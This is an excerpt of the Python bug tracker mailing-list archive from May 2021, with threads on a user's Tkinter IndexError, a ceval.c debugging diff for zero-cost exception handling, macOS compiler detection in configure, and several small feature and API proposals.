callback Traceback (most recent call last): File "C:\Users\xxxxxx\AppData\Local\Programs\Python\Python38-32\lib\tkinter\__init__.py", line 1883, in __call__ return self.func(*args) File "xxxxxx.py", line 1463, in OnDoubleClick itemXid = assetinfo_lst[xrec] IndexError: list index out of range length of assetinfo_lst before a new insert: 16 length of assetinfo_lst after a new insert: 17 xrec: xrec: 28 As I mentioned, It seems that the recent update of Windows has affected Tkinter, so that mainloop is not working after the first time ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 18:24:15 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 09 May 2021 22:24:15 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620597869.56.0.426271251915.issue44076@roundup.psfhosted.org> Message-ID: Andrei Kulakov added the comment: Hi Mohamed, >From the output it looks like the app is trying to get item at index 28 from assetinfo_list, while that list is of only 17 length. So it seems likely that either app is not inserting enough items into assetinfo_list, or you are clicking on treedata.selection at a higher item than there are assets for in the list, or something is going wrong with associating click with the selection number. To get further help, I think you will need to create a minimal runnable example that shows the issue and upload it here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 19:26:26 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 09 May 2021 23:26:26 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620602786.89.0.426526728846.issue40222@roundup.psfhosted.org> Dennis Sweeney added the comment: I tried some debugging code: diff --git a/Python/ceval.c b/Python/ceval.c index f745067069..a8668dbac2 100644 --- a/Python/ceval.c +++ b/Python/ceval.c @@ -4864,6 +4864,18 @@ get_exception_handler(PyCodeObject *code, int index) return res; } scan = skip_to_next_entry(scan); + if (scan + >= (unsigned char *)PyBytes_AS_STRING(code->co_exceptiontable) + + PyBytes_GET_SIZE(code->co_exceptiontable)) + { + printf("co_name: --------------------------\n"); + _PyObject_Dump(code->co_name); + printf("co_filename: ----------------------\n"); + _PyObject_Dump(code->co_filename); + printf("co_exceptiontable: -------------\n"); + _PyObject_Dump(code->co_exceptiontable); + printf("\n\n\n\n\n"); + } } res.b_handler = -1; return res; It output this: Python 3.11.0a0 (heads/main-dirty:092f9ddb5e, May 9 2021, 18:45:56) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> from test.test_statistics import * co_name: -------------------------- object address : 00000254B63EFB80 object refcount : 7 object type : 00007FFA1C7E71C0 object type name: str object repr : '_find_and_load' co_filename: ---------------------- object address : 00000254B63967A0 object refcount : 76 object type : 00007FFA1C7E71C0 object type name: str object repr : '' co_exceptiontable: ------------- object address : 00000254B63EB290 object refcount : 1 object type : 00007FFA1C7C9A40 object type name: bytes object repr : b'\x84\x10"\x03\xa2\x04&\x0b\xa7\x03&\x0b' >>> unittest.main() ............................................................................................................................................................................................................................................................................................................................................................................ ---------------------------------------------------------------------- Ran 364 tests in 24.409s OK Here is the disassembly of the offending function: >>> from dis import dis >>> from importlib._bootstrap import _find_and_load >>> dis(_find_and_load) 1024 0 LOAD_GLOBAL 0 (_ModuleLockManager) 2 LOAD_FAST 0 (name) 4 CALL_FUNCTION 1 6 BEFORE_WITH 8 POP_TOP 1025 10 LOAD_GLOBAL 1 (sys) 12 LOAD_ATTR 2 (modules) 14 LOAD_METHOD 3 (get) 16 LOAD_FAST 0 (name) 18 LOAD_GLOBAL 4 (_NEEDS_LOADING) 20 CALL_METHOD 2 22 STORE_FAST 2 (module) 1026 24 LOAD_FAST 2 (module) 26 LOAD_GLOBAL 4 (_NEEDS_LOADING) 28 IS_OP 0 30 POP_JUMP_IF_FALSE 27 (to 54) 1027 32 LOAD_GLOBAL 5 (_find_and_load_unlocked) 34 LOAD_FAST 0 (name) 36 LOAD_FAST 1 (import_) 38 CALL_FUNCTION 2 1024 40 ROT_TWO 42 LOAD_CONST 1 (None) 44 DUP_TOP 46 DUP_TOP 48 CALL_FUNCTION 3 50 POP_TOP 1027 52 RETURN_VALUE 1026 >> 54 NOP 1024 56 LOAD_CONST 1 (None) 58 DUP_TOP 60 DUP_TOP 62 CALL_FUNCTION 3 64 POP_TOP 66 JUMP_FORWARD 11 (to 90) >> 68 PUSH_EXC_INFO 70 WITH_EXCEPT_START 72 POP_JUMP_IF_TRUE 39 (to 78) 74 RERAISE 4 >> 76 POP_EXCEPT_AND_RERAISE >> 78 POP_TOP 80 POP_TOP 82 POP_TOP 84 POP_EXCEPT 86 POP_TOP 88 POP_TOP 1029 >> 90 LOAD_FAST 2 (module) 92 LOAD_CONST 1 (None) 94 IS_OP 0 96 POP_JUMP_IF_FALSE 60 (to 120) 1030 98 LOAD_CONST 2 ('import of {} halted; None in sys.modules') 1031 100 LOAD_METHOD 6 (format) 102 LOAD_FAST 0 (name) 104 CALL_METHOD 1 1030 106 STORE_FAST 3 (message) 1032 108 LOAD_GLOBAL 7 (ModuleNotFoundError) 110 LOAD_FAST 3 (message) 112 LOAD_FAST 0 (name) 114 LOAD_CONST 3 (('name',)) 116 CALL_FUNCTION_KW 2 118 RAISE_VARARGS 1 1034 >> 120 LOAD_GLOBAL 8 (_lock_unlock_module) 122 LOAD_FAST 0 (name) 124 CALL_FUNCTION 1 126 POP_TOP 1035 128 LOAD_FAST 2 (module) 130 RETURN_VALUE ExceptionTable: 8 to 38 -> 68 [1] lasti 68 to 74 -> 76 [5] lasti 78 to 82 -> 76 [5] lasti I don't know whether there just needs to be a sentinel 128 appended to all co_exceptiontable, or if there is a more subtle bug. ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 19:55:56 2021 From: report at bugs.python.org (Mohamed) Date: Sun, 09 May 2021 23:55:56 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620604556.22.0.274346818825.issue44076@roundup.psfhosted.org> Mohamed added the comment: Please find attached, the demo with dummy data. As I mentioned, it was working fine until May 1st. Also, As I mentioned, in case I call MasterApp at the end of add function data appears correctly. This means a malfunction occurred after Windows Update, and it relates to mainloop class MasterApp(object): def __init__(self, root): .... def fun_astinfo_add(self): ... assetinfo_lst.append(lst_values) ... MasterApp(root) ... if __name__ == "__main__": root = Tk() App = MasterApp(root) root.mainloop() ---------- Added file: https://bugs.python.org/file50030/Issue in Tkinter with Python 2.pdf _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 20:03:57 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 10 May 2021 00:03:57 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620597869.56.0.426271251915.issue44076@roundup.psfhosted.org> Message-ID: <20210510000314.GU20346@ando.pearwood.info> Steven D'Aprano added the comment: On Sun, May 09, 2021 at 10:04:29PM +0000, Mohamed wrote: > As I mentioned, It seems that the recent update of Windows has affected Tkinter, > so that mainloop is not working after the first time That isn't what it looks like to me. If updating Windows had affected Tkinter, IDLE would no longer work and there would be thousands of people affected. I see no sign that this is the case: https://duckduckgo.com/?q=latest+update+of+windows+breaks+tkinter It would be very, very suprising if you were the only person who has noticed that a Windows update broke Tkinter. Mohamed, you said that you had done an investigation which showed memory corruption. What is your evidence for memory corruption? So far there is no evidence for a bug in Tkinter or Python. This is not a help desk. There are many forums where you can get help debugging your program, you should create a minimal example and ask for help at https://www.reddit.com/r/learnpython/ http://mail.python.org/mailman/listinfo/python-list news:comp.lang.python https://discuss.python.org/c/users/7 https://www.python.org/community/irc/ No matter which forum you go to, you will be asked for a minimal example demonstrating the problem: http://www.sscce.org/ https://stackoverflow.com/help/minimal-reproducible-example https://ericlippert.com/2014/03/05/how-to-debug-small-programs/ https://medium.com/swlh/how-to-ask-smart-questions-d02f053a02ac http://www.catb.org/esr/faqs/smart-questions.html Note that a minimal program **MUST** be runnable. There is no point just deleting lines of code and replacing them with "...", because the code won't run. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 20:14:35 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 10 May 2021 00:14:35 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620604556.22.0.274346818825.issue44076@roundup.psfhosted.org> Message-ID: <20210510001353.GV20346@ando.pearwood.info> Steven D'Aprano added the comment: On Sun, May 09, 2021 at 11:55:56PM +0000, Mohamed wrote: > Please find attached, the demo with dummy data. As I mentioned, it was working fine until May 1st. If it was working fine until May 1st, I would start my investigation by looking at what changes where made to the source code on April 29, 30 and May 1st. Is your source code in a source control repository? Can you compare it to a backup? > Also, As I mentioned, in case I call MasterApp at the end of add > function data appears correctly. This means a malfunction occurred > after Windows Update, and it relates to mainloop Your traceback involves a keyerror and an index error. What makes you think this is a problem with the Tkinter mainloop rather than your own code? You are trying to delete a module from sys.modules: del sys.modules['cm_asset_add'] (why?) but the key is not found. That exception is then caught and another exception raised. It really looks to me that your callback function fun_asset_current is buggy. Why is it messing with sys.modules? > class MasterApp(object): > def __init__(self, root): > .... > > def fun_astinfo_add(self): > ... > assetinfo_lst.append(lst_values) > ... > MasterApp(root) I'm not an expert at tkinter, but creating a new MasterApp object every single time you call the fun_astinfo_add method doesn't look right to me -- especially since you create that object, but then immediately discard it and it is instantly garbage collected. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 23:01:36 2021 From: report at bugs.python.org (Rishav Kundu) Date: Mon, 10 May 2021 03:01:36 +0000 Subject: [issue44093] compiler detection on macOS seems to be incorrect Message-ID: <1620615696.74.0.363750017848.issue44093@roundup.psfhosted.org> New submission from Rishav Kundu : On macOS devices, the configure script seems to always detect gcc, even though Apple does not ship with gcc ? the gcc binary is simply a wrapper around clang (probably llvm-gcc?) I believe the issue is with these lines. https://github.com/python/cpython/blob/8e8307d70bb9dc18cfeeed3277c076309b27515e/configure.ac#L630-L635 Concretely, gcc ?-version produces this on my computer: $ gcc --version Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/4.2.1 Apple clang version 12.0.5 (clang-1205.0.22.9) Target: x86_64-apple-darwin20.4.0 Thread model: posix InstalledDir: /Library/Developer/CommandLineTools/usr/bin Perhaps an additional check for ?clang? would solve the issue. ---------- components: Build messages: 393346 nosy: xrisk priority: normal severity: normal status: open title: compiler detection on macOS seems to be incorrect type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 23:09:55 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 May 2021 03:09:55 +0000 Subject: [issue44090] Add class binding to unbound super objects for allowing autosuper with class methods In-Reply-To: <1620579731.61.0.112222809206.issue44090@roundup.psfhosted.org> Message-ID: <1620616195.41.0.584034062057.issue44090@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 23:21:06 2021 From: report at bugs.python.org (wang xuancong) Date: Mon, 10 May 2021 03:21:06 +0000 Subject: [issue44028] Request for locals().update() to work, it is In-Reply-To: <1620104716.88.0.704120170613.issue44028@roundup.psfhosted.org> Message-ID: <1620616866.19.0.569588649266.issue44028@roundup.psfhosted.org> wang xuancong added the comment: Thanks @terry.reedy for your expert-level good comments! 1. "In Python 3, the one *implementation*, and its lookup mode, are fixed. The slower implementation was dropped because it was not thought worth the bother." If I remember correctly, the performance penalty due to the slower lookup mode is not quite significant, in most Python benchmarks, Python2 still performs much faster than Python3 because most codes that need speed does not contain exec/eval, so the slow mode won't affect in practice. 2. "When you invoke the save function while playing a game, I am imagine that the save function does not have access to and does not same the locals of whatever function was executing at the time you hit the save key. Rather a game and player states are serialized, and likely not in one line of code." I have personally tried this on one implementation of deep neural network using Tensorflow, it works pretty well, especially on saving the network parameters at every Nth epoch, or resuming training from a particular epoch. The biggest advantage is that it does not scale with network size or complexity, so the Python code size has a O(1) complexity with network size/complexity and that is a small constant O(1) as it does not involve any Python loop. In practice, you can select what to save/load, such as those not starting with '_'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 23:39:27 2021 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 10 May 2021 03:39:27 +0000 Subject: [issue42115] Caching infrastructure for the evaluation loop: specialised opcodes In-Reply-To: <1603336898.74.0.366564812208.issue42115@roundup.psfhosted.org> Message-ID: <1620617967.17.0.530303268501.issue42115@roundup.psfhosted.org> Guido van Rossum added the comment: Moving the needle on the pyperformance benchmarks is really hard! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 23:56:56 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 May 2021 03:56:56 +0000 Subject: [issue44090] Add class binding to unbound super objects for allowing autosuper with class methods In-Reply-To: <1620579731.61.0.112222809206.issue44090@roundup.psfhosted.org> Message-ID: <1620619016.77.0.0640155672011.issue44090@roundup.psfhosted.org> Raymond Hettinger added the comment: Do we have any meaningful examples to show that this is desired and useful? The primary use case for classmethods is to serve as alternate constructors that return new instances. That doesn't really lend itself to extending in a subclass. User's can already call a parent class directly without super(), but I don't think I've ever encountered a single example of someone doing so with a classmethod such as dict.fromkeys() or datetime.fromtimestamp(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 00:06:31 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 10 May 2021 04:06:31 +0000 Subject: [issue44093] compiler detection on macOS seems to be incorrect In-Reply-To: <1620615696.74.0.363750017848.issue44093@roundup.psfhosted.org> Message-ID: <1620619591.8.0.443953980963.issue44093@roundup.psfhosted.org> Change by Ned Deily : ---------- assignee: -> ned.deily components: +macOS nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 00:20:28 2021 From: report at bugs.python.org (Inada Naoki) Date: Mon, 10 May 2021 04:20:28 +0000 Subject: [issue41692] Deprecate immortal interned strings: PyUnicode_InternImmortal() In-Reply-To: <1599055165.93.0.874786911809.issue41692@roundup.psfhosted.org> Message-ID: <1620620428.15.0.83519559655.issue41692@roundup.psfhosted.org> Inada Naoki added the comment: For the record, I noticed PyUnicode_InternImmortal() is a stable ABI. We may need to keep the function to avoid dynamic link errors. But we can still change its implementation to just raise an exception. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 01:07:02 2021 From: report at bugs.python.org (Inada Naoki) Date: Mon, 10 May 2021 05:07:02 +0000 Subject: [issue44094] Remove PyErr_Set...WithUnicodeFilename APIs Message-ID: <1620623222.39.0.271042914015.issue44094@roundup.psfhosted.org> New submission from Inada Naoki : These APIs are deprecated since Python 3.3. They are not documented too. ``` #ifdef MS_WINDOWS Py_DEPRECATED(3.3) PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithUnicodeFilename( PyObject *, const Py_UNICODE *); /* XXX redeclare to use WSTRING */ Py_DEPRECATED(3.3) PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithUnicodeFilename( int, const Py_UNICODE *); Py_DEPRECATED(3.3) PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithUnicodeFilename( PyObject *,int, const Py_UNICODE *); #endif ``` ---------- components: C API messages: 393351 nosy: methane priority: normal severity: normal status: open title: Remove PyErr_Set...WithUnicodeFilename APIs versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 01:29:23 2021 From: report at bugs.python.org (Jakub Nowak) Date: Mon, 10 May 2021 05:29:23 +0000 Subject: [issue44095] Add suffix property to zipfile.Path Message-ID: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> New submission from Jakub Nowak : suffix property is present on pathlib.Path (specifically pathlib.PurePath) and it could also be added to zipfile.Path for consistency. My use case is filtering files by suffix: patch_files = list(filter(lambda file: file.suffix == '.patch', files)) Besides suffix also most of the other pathlib.PurePath properties and methods could be added. ---------- components: Library (Lib) messages: 393352 nosy: MrQubo priority: normal severity: normal status: open title: Add suffix property to zipfile.Path type: enhancement versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 01:34:44 2021 From: report at bugs.python.org (Inada Naoki) Date: Mon, 10 May 2021 05:34:44 +0000 Subject: [issue44094] Remove PyErr_Set...WithUnicodeFilename APIs In-Reply-To: <1620623222.39.0.271042914015.issue44094@roundup.psfhosted.org> Message-ID: <1620624884.88.0.947048180864.issue44094@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +24661 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26011 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 01:49:26 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 05:49:26 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620625766.19.0.354842738179.issue44076@roundup.psfhosted.org> Shreyan Avigyan added the comment: It doesn't seem to be a Python bug at all. This is pretty awkward that even without upgrading your Python your program is breaking. I don't know tkinter well but upgrading your Windows shouldn't affect tkinter at all. And as Steven described if that was the case IDLE wouldn't work and there would lot's of reports and issues like this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 01:58:28 2021 From: report at bugs.python.org (Rishav Kundu) Date: Mon, 10 May 2021 05:58:28 +0000 Subject: [issue44096] Bad clang detection in configure script Message-ID: <1620626308.35.0.845113393607.issue44096@roundup.psfhosted.org> New submission from Rishav Kundu : Because autoconf detects `cc` before `clang` [1], this means that most of the checks in configure.ac that compare $CC to `clang` don?t work. This in turn means that things like LTO and PGO don?t work ? the appropriate compiler options do not get set. I can write a patch if someone can reproduce this. [1]: https://www.gnu.org/software/autoconf/manual/autoconf-2.62/html_node/C-Compiler.html ---------- components: Build messages: 393354 nosy: xrisk priority: normal severity: normal status: open title: Bad clang detection in configure script _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 02:39:16 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 10 May 2021 06:39:16 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620628756.38.0.85814111608.issue40222@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- pull_requests: +24662 pull_request: https://github.com/python/cpython/pull/26012 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:32:39 2021 From: report at bugs.python.org (Mohamed) Date: Mon, 10 May 2021 07:32:39 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620631959.07.0.850442051329.issue44076@roundup.psfhosted.org> Mohamed added the comment: This statement in the main program which is calling a subprogram, to control for multiple runs. Even I close this statement, the issue is same. del sys.modules['cm_asset_add'] I've contacted Microsoft support team, they have different opinions, about the impact of the latest Windows update which was on May 1st ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:35:47 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 10 May 2021 07:35:47 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1620632147.85.0.582394603044.issue44095@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:42:34 2021 From: report at bugs.python.org (Mohamed) Date: Mon, 10 May 2021 07:42:34 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620632554.56.0.848877646751.issue44076@roundup.psfhosted.org> Mohamed added the comment: I chose Python to develop a huge information system. I completed about 47%, and made a demonstration, so everything was working correctly, as evidenced by presence of the data Now, I can't go back, and I can't move forward ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:42:30 2021 From: report at bugs.python.org (Peixing Xin) Date: Mon, 10 May 2021 07:42:30 +0000 Subject: [issue44097] add configure option to control the groups of .pyc files to install Message-ID: <1620632550.11.0.525760878528.issue44097@roundup.psfhosted.org> New submission from Peixing Xin : Currently when building and installing Python out of source, unoptimized .pyc files and 2 types of optimized .pyc files(*.opt-1.pyc and *.opt-2.pyc) are all compiled out and installed. So to reduce package size and build and installation time, we should provide an option in configure to control the groups of .pyc files to install. For distribution case, normally only one type of .pyc files even none is needed. ---------- components: Build messages: 393356 nosy: pxinwr priority: normal pull_requests: 24663 severity: normal status: open title: add configure option to control the groups of .pyc files to install type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:43:10 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 07:43:10 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620632590.77.0.606621674156.issue44076@roundup.psfhosted.org> Shreyan Avigyan added the comment: Are they saying this error is result of Windows update? (It may be. I didn't notice you're talking about 21H1, I thought you're talking about other patch updates.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:46:17 2021 From: report at bugs.python.org (Peixing Xin) Date: Mon, 10 May 2021 07:46:17 +0000 Subject: [issue44097] add configure option to control the groups of .pyc files to install In-Reply-To: <1620632550.11.0.525760878528.issue44097@roundup.psfhosted.org> Message-ID: <1620632777.66.0.799636199603.issue44097@roundup.psfhosted.org> Change by Peixing Xin : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:47:31 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 10 May 2021 07:47:31 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620632851.39.0.451607794831.issue44076@roundup.psfhosted.org> Christian Heimes added the comment: For your information Python 3.8 is now in security fix-only mode and no longer receives regular updates. That means that any potential compatibility issues with Windows updates will not be addressed. Could you please update to Python 3.9 and try again? ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:55:05 2021 From: report at bugs.python.org (Mohamed) Date: Mon, 10 May 2021 07:55:05 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620633305.85.0.759434418155.issue44076@roundup.psfhosted.org> Mohamed added the comment: These are the latest updates: May 08, 2021, Microsoft Edge May 06, 2021, Microsoft OneDrive May 01, 2021, Update Health Tools There is no an option to uninstall the following: May 01, 2021-KB4023057: Update for Windows 10 Update Service components April 28, 2021?KB5001391 (OS Builds 19041.964 and 19042.964) Preview I don't know, any of these updates might have an effect. I'm using a lot of modules, it means I have to install them again on Python 3.9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:58:18 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 07:58:18 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620633498.34.0.170306710701.issue44076@roundup.psfhosted.org> Shreyan Avigyan added the comment: Shortcut is store the output of pip in a file using, pip freeze > file.txt And then after installing Python 3.9 py -3.9 -m pip install -m file.txt ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:58:39 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 07:58:39 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620633519.62.0.82266558561.issue44076@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 03:59:37 2021 From: report at bugs.python.org (Mohamed) Date: Mon, 10 May 2021 07:59:37 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620633577.84.0.556803601248.issue44076@roundup.psfhosted.org> Mohamed added the comment: Thanks a lot ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 04:00:10 2021 From: report at bugs.python.org (Peixing Xin) Date: Mon, 10 May 2021 08:00:10 +0000 Subject: [issue44097] add configure option to control the groups of .pyc files to install In-Reply-To: <1620632550.11.0.525760878528.issue44097@roundup.psfhosted.org> Message-ID: <1620633610.78.0.139103392406.issue44097@roundup.psfhosted.org> Peixing Xin added the comment: For the configure option name used in PR# 23930, change it to "--enable-pyc-groups" is better? What is your advice? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 04:08:26 2021 From: report at bugs.python.org (Pablo Conesa) Date: Mon, 10 May 2021 08:08:26 +0000 Subject: [issue43743] BlockingIOError: [Errno 11] Resource temporarily unavailable: on GPFS. In-Reply-To: <1617697291.82.0.0904085621091.issue43743@roundup.psfhosted.org> Message-ID: <1620634106.95.0.360461385928.issue43743@roundup.psfhosted.org> Pablo Conesa added the comment: So, is it ok, when the fast copy fails, not to _GiveupOnFastCopy(err)? I can understand that fast copy might fail, but then the Giveup part should happen and it wasn't. Additionally, _USE_CP_SENDFILE could be taken, optionally from an environment variable to cancel the fastcopy once we know it will fail? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 04:11:29 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 10 May 2021 08:11:29 +0000 Subject: [issue44097] add configure option to control the groups of .pyc files to install In-Reply-To: <1620632550.11.0.525760878528.issue44097@roundup.psfhosted.org> Message-ID: <1620634289.79.0.370173758317.issue44097@roundup.psfhosted.org> Christian Heimes added the comment: Please hold off with PR until we have agreed if we want this feature request makes sense at all. Linux distributions typically provide all pyc variants. There are also better ways to shrink code size, e.g. deduplication or compression. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 04:30:56 2021 From: report at bugs.python.org (Pierre) Date: Mon, 10 May 2021 08:30:56 +0000 Subject: [issue512981] readline /dev/tty problem Message-ID: <1620635456.26.0.839612590806.issue512981@roundup.psfhosted.org> Pierre added the comment: Please, let me know if I should re-open a new bug for this one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 04:40:53 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 08:40:53 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1620636053.07.0.494469737156.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: BTW, the patch also removes resetting of cursors upon close, which is a little bit out of scope of this bpo. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:04:30 2021 From: report at bugs.python.org (Min RK) Date: Mon, 10 May 2021 09:04:30 +0000 Subject: [issue37373] Configuration of windows event loop for libraries In-Reply-To: <1561228405.39.0.674272094682.issue37373@roundup.psfhosted.org> Message-ID: <1620637470.24.0.120313670017.issue37373@roundup.psfhosted.org> Min RK added the comment: A hiccup to using uvloop is that it doesn't support Windows yet (https://github.com/MagicStack/uvloop/issues/14), so it can't be used in the affected environment. I'm exploring this again for pyzmq / Jupyter, and currently investigating relying on tornado's AddThread loop functionality. It's even slightly easier for tornado, which can reasonably set the proactor-wrapper policy at IOLoop start time, which means `asyncio.get_event_loop()` returns a loop with add_reader. But pyzmq doesn't get invoked until an event loop is already running. That means the selector thread needs to work not as a wrapper of the loop itself, as in tornado's AddThreadSelector, but attached after-the-fact. Using tornado's AddThread seems to work for this, but I'm not sure that should be assumed. ---------- nosy: +minrk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:20:28 2021 From: report at bugs.python.org (=?utf-8?q?Lum=C3=ADr_Balhar?=) Date: Mon, 10 May 2021 09:20:28 +0000 Subject: [issue44055] NamedTemporaryFile opened twice on Windows In-Reply-To: <1620298061.75.0.605371745552.issue44055@roundup.psfhosted.org> Message-ID: <1620638428.01.0.867106699777.issue44055@roundup.psfhosted.org> Lum?r Balhar added the comment: I understand, thanks for the explanation. I'd like to improve the documentation to make it more clear that the file actually can be reopened on Windows when you use delete=False but I cannot find the right words :/ What about: That name can be retrieved from the name attribute of the returned file-like object. If delete is true (the default), the file is deleted as soon as it is closed. Whether the name can be used to open the file a second time, while the named temporary file is still open with delete set to true, varies across platforms (it can be so used on Unix; it cannot on Windows NT or later). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:20:46 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 09:20:46 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620638446.42.0.763666691965.issue44076@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:22:08 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 09:22:08 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: 